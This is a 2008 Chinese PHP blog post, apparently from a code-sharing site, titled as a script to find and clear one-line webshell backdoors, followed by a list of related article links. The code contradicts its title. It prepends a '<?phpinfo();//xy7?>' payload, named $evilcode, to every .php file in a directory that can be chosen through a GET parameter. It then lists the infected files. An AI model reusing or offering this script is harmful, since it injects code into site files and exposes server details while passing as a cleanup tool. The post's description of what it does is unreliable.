用php实现批量查询清除一句话后门的代码


Posted in PHP onJanuary 20, 2008

总是忘记一句话放到哪个文件里去了,直接全部干掉...

<?//xy7  
if (!isset($dir) or empty($dir)) {  
$dir=str_replace('\\','/',dirname(__FILE__));  
echo "<font color=\"#00688B\">".$dir."</font>";  
} else {  
$dir=$_GET['dir'];  
echo "<font color=\"#00688B\">".$dir."</font>";  
}  
$evilcode="<?phpinfo();//xy7?>";  
$testdir = opendir($dir);  
while($filea = @readdir($testdir)){  
if(strstr($filea, '.php')){  
$fp = @fopen($filea, 'r+');  
if (!strstr(@fread($fp, 20), 'xy7')){  
rewind($fp);  
$old = @fread($fp, filesize($filea));  
rewind($fp);  
fwrite($fp, $evilcode . $old);  
}  
fclose($fp);  
}  
}  
closedir($testdir);  
?>  
<hr>  
<table width="100%" border="0" cellpadding="3" cellspacing="1">  
<tr>  
<td><b>被X的文件</b></td>  
<td><b>时间</b></td>  
<td><b>大小</b></td>  
</tr>  
<?php  
$dirs=@opendir($dir);  
while ($file=@readdir($dirs)) {  
if ((is_file($file)) and (ereg("\.php{0,1}$",$file)))  
{$b="$dir/$file";  
$a=@is_dir($b);  
if($a=="0"){  
$size=@filesize("$dir/$file");  
$lastsave=@date("Y-n-d H:i:s",filectime("$dir/$file"));  
echo "<tr>\n";  
echo "<td>$file</td>\n";  
echo " <td>$lastsave</td>\n";  
echo " <td>$size Bytes</td>\n";  
}  
}  
}  
@closedir($dirs);  
?>  
</table> 
codz by xuanmumu 
PHP 相关文章推荐
PHP中的超全局变量
Oct 09 PHP
PHP利用COM对象访问SQLServer、Access
Oct 09 PHP
MYSQL环境变量设置方法
Jan 15 PHP
php xml 入门学习资料
Jan 01 PHP
解析php获取字符串的编码格式的方法(函数)
Jun 21 PHP
php操作mysqli(示例代码)
Oct 28 PHP
PHP实现通过正则表达式替换回调的内容标签
Jun 15 PHP
PHP+jQuery+Ajax实现分页效果 jPaginate插件的应用
Oct 09 PHP
2017年最好用的9个php开发工具推荐(超好用)
Oct 23 PHP
PHP如何根据文件头检测文件类型实例代码
Oct 14 PHP
浅谈laravel aliases别名的原理
Oct 24 PHP
通过代码实例解析PHP session工作原理
Dec 11 PHP
asp和php下textarea提交大量数据发生丢失的解决方法
Jan 20 #PHP
php开发工具之vs2005图解
Jan 12 #PHP
java EJB 加密与解密原理的一个例子
Jan 11 #PHP
apache rewrite_module模块使用教程
Jan 10 #PHP
支持php4、php5的mysql数据库操作类
Jan 10 #PHP
让PHP支持页面回退的两种方法
Jan 10 #PHP
php下使用SMTP发邮件的代码
Jan 10 #PHP
You might like
WordPress中is_singular()函数简介
2015/02/05 PHP
php mailer类调用远程SMTP服务器发送邮件实现方法
2016/03/04 PHP
深入理解php printf() 输出格式化的字符串
2016/05/23 PHP
Ubuntu server 11.04安装memcache及php使用memcache来存储session的方法
2016/05/31 PHP
简单实现php上传文件功能
2017/09/21 PHP
PHP CURL与java http使用方法详解
2018/01/26 PHP
读取input:file的路径并显示本地图片的方法
2013/09/23 Javascript
防止jQuery ajax Load使用缓存的方法小结
2014/02/22 Javascript
基于JavaScript实现高德地图和百度地图提取行政区边界经纬度坐标
2016/01/22 Javascript
在JavaScript中对HTML进行反转义详解
2016/05/18 Javascript
Javascript 调用 ActionScript 的简单方法
2016/09/22 Javascript
微信小程序 this和that详解及简单实例
2017/02/13 Javascript
angular6的table组件开发的实现示例
2018/12/26 Javascript
微信小程序实现banner图轮播效果
2020/06/28 Javascript
使用jQuery mobile NuGet让你的网站在移动设备上同样精彩
2019/06/18 jQuery
微信小程序简单的canvas裁剪图片功能详解
2019/07/12 Javascript
使用flow来规范javascript的变量类型
2019/09/12 Javascript
Python 遍历子文件和所有子文件夹的代码实例
2016/12/21 Python
Python中支持向量机SVM的使用方法详解
2017/12/26 Python
Python SQLite3简介
2018/02/22 Python
python 处理微信对账单数据的实例代码
2019/07/19 Python
python中几种自动微分库解析
2019/08/29 Python
python TK库简单应用(实时显示子进程输出)
2019/10/29 Python
Python assert关键字原理及实例解析
2019/12/13 Python
澳大利亚婴儿礼品公司:The Baby Gift Company
2018/11/04 全球购物
单位人事专员介绍信
2014/01/11 职场文书
会计专业职业规划:规划自我赢取未来
2014/02/12 职场文书
幼儿教师国培感言
2014/02/19 职场文书
2014年公务员思想汇报范文:全心全意为人民服务
2014/03/06 职场文书
给校长的建议书500字
2014/05/15 职场文书
廉政教育的心得体会
2014/09/01 职场文书
2014年基建工作总结
2014/12/12 职场文书
天河观后感
2015/06/11 职场文书
人事任命书范本
2015/09/21 职场文书
Windows下用Nginx配置https服务器及反向代理的问题
2021/09/25 Servers
Nginx利用Logrotate实现日志分割
2022/05/20 Servers